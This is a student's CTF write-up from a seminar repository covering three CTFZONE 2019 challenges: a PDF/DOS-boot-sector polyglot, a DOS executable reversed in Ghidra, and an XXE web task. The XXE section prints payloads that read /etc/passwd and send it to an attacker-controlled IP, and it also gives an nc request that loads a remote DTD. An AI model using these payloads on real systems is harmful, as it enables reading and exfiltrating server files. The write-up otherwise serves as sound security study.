]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/mli/ctfzone-quals-19.md
add mli/asis+zone writeups
[pub/jan/ctf-seminar.git] / writeups / mli / ctfzone-quals-19.md
1 # CTF ZONE 19
2
3 ## Time spent
4
5 Summed up value from time spent below: 6.5-7.5 hours
6
7 plus an hour writing this writeup and looking for the solutions/writeups online
8
9 __Total time spent for CTFZONE19__: 7.5-8.5 hours ~= __8 hours__
10
11 ## Strange Pdf (REV)
12
13 Description: "You have one PDF file. Now calculate the flag. It's in decimal, by the way."
14
15 there was a zip archive for download with the following content
16
17 * strange-pdf.zip
18   * reverse-ez-master (Folder)
19     * document.pdf
20
21 ### Time spent
22
23 I spent 4-5 hours for looking through the PDF (incl. finding tools and trying to understand the PDF structure using PDF specification).
24
25 ### Overview
26
27 the pdf said in written text:
28
29 __ctfzone{f(x)}__ _Where:_ f(x) = 109394007*x+13
30
31 hmm what is x?
32
33 * xobject? (pdf node)
34 * xref? (pdf node)
35 * looking for X/x character (`xxd document.pdf | less`)
36   * did not find anything noteworthy
37
38 #### looking further - object 25
39
40 I inspected the pdf file using xxd and vi, object 25 looks interesting:
41
42 ```pdf
43 25 0 obj
44 <</Author<FEFF00660075006600200020>
45 /Creator<FEFF005700720069007400650072>
46 /Producer<FEFF004C0069006200720065004F0066006600690063006500200034002E0033>
47 /CreationDate(D:20191030175509+03'00')>>
48 endobj
49 ```
50
51 According to iText RUPS author/creator/produced are `fuf, Writer, Libreoffice 4.3` so the hex numbers above are strings
52
53 Although it probably won't work, I used the values as hexadecimal numbers and inserted them into the equation - flag using output number did not work
54
55 <https://www.wolframalpha.com/input/?i=109394007*842%2B13>
56
57 tried `ctfzone{8633098315948060059158359060263668461}` (`109394007*0xFEFF00660075006600200020+13=8633098315948060059158359060263668461`)
58 tried `ctfzone{12617287247315538926490254619004172071413890299659887493987366353042073674194313034082}` (`109394007*0xFEFF004C0069006200720065004F0066006600690063006500200034002E0033+13=12617287247315538926490254619004172071413890299659887493987366353042073674194313034082`)
59 tried `ctfzone{565778729250227416638613515078495512172235}` (`109394007*0xFEFF005700720069007400650072+13=565778729250227416638613515078495512172235`)
60
61 #### another tool: qpdf
62
63 I found the pdf tool qpdf which can transform pdfs.
64
65 I tried some stuff including removing the object streams: `qpdf --qdf --object-streams=disable document.pdf uncompressed-document.pdf`
66 but the outputs did not reveal anything obvious and output documents did not look really different from the normal document
67
68 #### another tool: mutool
69
70 ##### `mutool info document.pdf`
71
72 ```mutool-info
73 document.pdf:
74 warning: lexical error (unexpected '>')
75 error: expected generation number (33 ? obj)
76 warning: trying to repair broken xref
77 warning: repairing PDF document
78
79 PDF-1.4
80 Info object (25 0 R):
81 <</Author<FEFF00660075006600200020>/Creator<FEFF005700720069007400650072>/Producer<FEFF004C0069006200720065004F0066006600690063006500200034002E0033>/CreationDate(D:20191030175509+03'00')>>
82 Pages: 1
83
84 Retrieving info from pages 1-1...
85 Mediaboxes (1):
86         1       (1 0 R):        [ 0 0 595 842 ]
87
88 Fonts (3):
89         1       (1 0 R):        TrueType 'BAAAAA+LiberationSerif-Bold' (11 0 R)
90         1       (1 0 R):        TrueType 'CAAAAA+LiberationSerif-Italic' (16 0 R)
91         1       (1 0 R):        TrueType 'DAAAAA+LiberationSerif' (21 0 R)
92 ```
93
94 there is nothing looking very suspicious..
95
96 ##### mutool trace output
97
98 ```xml
99 <document filename="document.pdf">
100 <page number="1" mediabox="0 0 595 842">
101 <group bbox="0 0 595 842" isolated="1" knockout="0" blendmode="Normal" alpha="1">
102 <clip_path winding="eofill" matrix="1 0 0 -1 0 842">
103 <moveto x="0" y=".1"/>
104 <lineto x="595.2" y=".1"/>
105 <lineto x="595.2" y="841.89999"/>
106 <lineto x="0" y="841.89999"/>
107 <closepath/>
108 </clip_path>
109 <fill_text colorspace="DeviceRGB" color="0 0 0" matrix="1 0 0 -1 0 842">
110 <span font="BAAAAA+LiberationSerif-Bold" wmode="0" bidi="0" trm="12 0 0 12">
111 <g unicode="c" glyph="1" x="56.8" y="774.1" />
112 <g unicode="t" glyph="2" x="62.103998" y="774.1" />
113 <g unicode="f" glyph="3" x="66.004" y="774.1" />
114 <g unicode="z" glyph="4" x="70.192" y="774.1" />
115 <g unicode="o" glyph="5" x="75.388" y="774.1" />
116 <g unicode="n" glyph="6" x="81.388" y="774.1" />
117 <g unicode="e" glyph="7" x="88.072" y="774.1" />
118 <g unicode="{" glyph="8" x="93.376" y="774.1" />
119 <g unicode="f" glyph="3" x="98.079998" y="774.1" />
120 <g unicode="(" glyph="9" x="102.172" y="774.1" />
121 <g unicode="x" glyph="10" x="106.168" y="774.1" />
122 <g unicode=")" glyph="11" x="112.072" y="774.1" />
123 <g unicode="}" glyph="12" x="116.068" y="774.1" />
124 </span>
125 </fill_text>
126 <fill_text colorspace="DeviceRGB" color="0 0 0" matrix="1 0 0 -1 0 842">
127 <span font="CAAAAA+LiberationSerif-Italic" wmode="0" bidi="0" trm="12 0 0 12">
128 <g unicode="W" glyph="1" x="56.8" y="746.5" />
129 <g unicode="h" glyph="2" x="66.7" y="746.5" />
130 <g unicode="e" glyph="3" x="72.7" y="746.5" />
131 <g unicode="r" glyph="4" x="78.088" y="746.5" />
132 <g unicode="e" glyph="3" x="82.287998" y="746.5" />
133 <g unicode=":" glyph="5" x="87.591999" y="746.5" />
134 </span>
135 </fill_text>
136 <fill_text colorspace="DeviceRGB" color="0 0 0" matrix="1 0 0 -1 0 842">
137 <span font="DAAAAA+LiberationSerif" wmode="0" bidi="0" trm="12 0 0 12">
138 <g unicode="f" glyph="1" x="56.8" y="732.7" />
139 <g unicode="(" glyph="2" x="60.795999" y="732.7" />
140 <g unicode="x" glyph="3" x="64.792" y="732.7" />
141 <g unicode=")" glyph="4" x="70.792" y="732.7" />
142 <g unicode=" " glyph="5" x="74.788" y="732.7" />
143 <g unicode="=" glyph="6" x="77.788" y="732.7" />
144 <g unicode=" " glyph="5" x="84.48401" y="732.7" />
145 <g unicode="1" glyph="7" x="87.48401" y="732.7" />
146 <g unicode="0" glyph="8" x="93.48401" y="732.7" />
147 <g unicode="9" glyph="9" x="99.48401" y="732.7" />
148 <g unicode="3" glyph="10" x="105.48401" y="732.7" />
149 <g unicode="9" glyph="9" x="111.48401" y="732.7" />
150 <g unicode="4" glyph="11" x="117.48401" y="732.7" />
151 <g unicode="0" glyph="8" x="123.48401" y="732.7" />
152 <g unicode="0" glyph="8" x="129.48401" y="732.7" />
153 <g unicode="7" glyph="12" x="135.48401" y="732.7" />
154 <g unicode="*" glyph="13" x="141.48401" y="732.7" />
155 <g unicode="x" glyph="3" x="147.48401" y="732.7" />
156 <g unicode="+" glyph="14" x="153.48401" y="732.7" />
157 <g unicode="1" glyph="7" x="160.276" y="732.7" />
158 <g unicode="3" glyph="10" x="166.276" y="732.7" />
159 </span>
160 </fill_text>
161 <pop_clip/>
162 <group bbox="-112 421.9 708 422" isolated="0" knockout="1" blendmode="Normal" alpha=".5">
163 <clip_path winding="eofill" matrix="1 0 0 -1 0 842">
164 <moveto x="-112" y="420"/>
165 <lineto x="708" y="420"/>
166 <lineto x="708" y="420.1"/>
167 <lineto x="-112" y="420.1"/>
168 <closepath/>
169 </clip_path>
170 <pop_clip/>
171 </group>
172 </group>
173 </page>
174 </document>
175 ```
176
177 Hmm, looks like this just prints the text characters we already have. I tried to figure something out of the x/y positions but did not find anything out.
178
179 ### itext RUPS
180
181 This program displays all pdf segments. I tried to use some numbers which I found could be x and inserted them into the formula.
182
183 E.g. I computed `109394007*842+13` because of itext but `ctfzone{92109753907}` did not work
184
185 this lead to no solution
186
187 ### Exploitation/Solution
188
189 I did not find anything which worked.
190
191 According to this writeup <https://ptr-yudai.hatenablog.com/entry/2019/12/02/093635#Rev-Strange-PDF>, I should have used `file document.pdf`.
192 This reveals `document.pdf: DOS/MBR boot sector`. So the file appears to be some kind of polyglot!
193 The guy from the writeup found a strange-looking comment in the head of the PDF file and interpreted it as DOS machine code. It turned out to work:
194
195 ```dos-assembler
196 and ax, 0x4450
197 inc si
198 sub ax, 0x2e31
199 xor al, 0xa
200 and ax, 0xb7e2
201 mov ah, 2
202 mov bh, 0
203 mov dh, 1
204 mov dl, 1
205 int 0x10
206 mov ah, 0xa
207 mov al, 0x39
208 mov bh, 0
209 mov cx, 5
210 int 0x10
211 mov ah, 2
212 mov bh, 0
213 mov dh, 1
214 mov dl, 3
215 int 0x10
216 mov ah, 0xa
217 mov al, 0x33
218 mov bh, 0
219 mov cx, 1
220 int 0x10
221 ```
222
223 According to the chinese chat protocol here <https://hackmd.io/@hakatashi/SJnvjTQUH>, the DOS code really was in the first few bytes of this file:
224
225 * xxd rev_strange-pdf/reverse-ez-master/document.pdf | head -n 25
226 * 00000000: 2550 4446 2d31 2e34 0a __25 e2b7 b402 b700__  %PDF-1.4.%......
227 * 00000010: __b601 b201 cd10 b40a b039 b700 b905 00cd__  .........9......
228 * 00000020: __10b4 02b7 00b6 01b2 03cd 10b4 0ab0 33b7__  ..............3.
229 * 00000030: __00b9 0100 cd10 0000 0000 0000 0000 0000__  ................
230 * 00000040: __0000 000a__ 3220 3020 6f62 6a0a 3c3c 2f4c  ....2 0 obj.<</L
231
232 The code above outputs `99399`, setting this value as `x` into the formula leads to ctfzone{109394007\*x+13} = ctfzone{109394007\*99399+13} = __ctfzone{10873654901806}__
233
234 ## Baby rev (REV)
235
236 Description:
237
238 * "EZ task for beginners in RE."
239 * "Don't forget to add ctfzone and curly braces before submitting flag (like ctfzone{FLAG_HERE})."
240
241 there was a zip archive for download with the following content
242
243 * BABY_REV.zip
244   * BABY_REV.exe
245
246 ### Time spent
247
248 I spent about 2 hours trying this challenge (most of the time trying to get DOSbox working)
249
250 ### Overview
251
252 `file` says `BABY_REV.exe: MS-DOS executable, MZ for MS-DOS`
253
254 * This is an MZ DOS exe <https://en.wikipedia.org/wiki/DOS_MZ_executable>
255   * "MZ" are the initials of Mark Zbikowski, one of leading developers of MS-DOS
256
257 As expected, the exe file does not run with the latest version of Windows 10.
258
259 #### 16 bit exe: DOSbox
260
261 I downloaded DOSbox and tried to set it up. It took some time because you have to mount a directory into the DOSbox. I managed to run it and saw that it read from a file (`usage: task1.exe <key_file>`). So I created a empty file called `keyfile.txt`. Anyway this did not lead me in the direction of a solution because I did not know what to input to the file.
262
263 #### ida
264
265 I opened the file using IDA, which could process it. I could not really make sense of the assembler code because I am not a rev guy and decided that I try Ghidra, in hope that C decompilation would work.
266
267 #### ghidra analysis
268
269 I then opened the exe in ghidra. I found the entry point, where there were some loops and branches.
270
271 first _if_ in entry:
272
273 0x3738: first two characters are "78"
274 then = ?
275 then 8 x shifted & 0xdf == 0x59
276
277 ```c
278     if (((*piVar21 == 0x3738) && (iVar12 = piVar21[1], (char)iVar12 == '=')) &&
279        (piVar1 = (int *)&DAT_137f_0096, *piVar1 = *piVar1 + 1,
280        ((byte)((uint)iVar12 >> 8) & 0xdf) == 0x59)) {
281       piVar1 = (int *)&DAT_137f_0096;
282       *piVar1 = *piVar1 + 1;
283     }
284 ```
285
286 So I wrote into keyfile.txt the following bytes: `3738 3d59` leading to cleartext `78=Y`. The program did not do anything other with this content. I did not really know how to proceed further, so I started with another challenge.
287
288 ### Solution/Exploitation
289
290 I did not solve it. According to <https://ptr-yudai.hatenablog.com/entry/2019/12/02/093635#Rev-Baby-rev>, the flag was `ctfzone{N1C3_FLAG!1}`, which you could get by reversing 8 check functions inside the code which lead to ASCII characters built out of `#._` characters.
291
292 ## Catcontrol (WEB)
293
294 Description:
295
296 * "This is a cat named Tom, and with the right approach, you can get it to catch and bring you a mouse named flag."
297 * <http://web-catcontrol.ctfz.one/>
298
299 ### Time spent
300
301 I spent about half an hour looking for XXE exploit payloads and trying them.
302
303 ### Overview
304
305 @lavish posted in the Mattermost channel that a XXE vulnerability exists in this application. So I looked up what is this and found some good resources to read:
306
307 * good: <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection>
308 * <https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing>
309 * <https://hackingandcoffee.com/exploiting-xxe/>
310 * <https://medium.com/bugbountywriteup/devoops-an-xml-external-entity-xxe-hackthebox-walkthrough-fb5ba03aaaa2>
311
312 I tried to send things like this (I controlled 151.236.29.95:8765):
313
314 ```http
315 <?xml version="1.0" encoding="ISO-8859-1"?>
316 <!DOCTYPE foo [
317 <!ELEMENT foo ANY >
318 <!ENTITY % xxe SYSTEM "file:///etc/passwd">
319 <!ENTITY % ext SYSTEM "http://151.236.29.95:8765/?%xxe;">
320 %ext;
321 ]
322 >
323 ```
324
325 But the only request which worked (where I got a response at my server) is the one @lavish posted in Mattermost:
326
327 ```nc
328 nc web-catcontrol.ctfz.one 80
329 POST / HTTP/1.1
330 Host: web-catcontrol.ctfz.one
331 Content-type: text/xml
332 SOAPAction: aaaaa
333 Content-Length: 139
334
335 <?xml version="1.0" ?>
336 <!DOCTYPE message [
337     <!ENTITY % ext SYSTEM "http://151.236.29.95:8765/ev.dtd">
338     %ext;
339 ]>
340 <message></message>
341 ```
342
343 ### Solution/Exploitation
344
345 I was not even close to solve this challenge.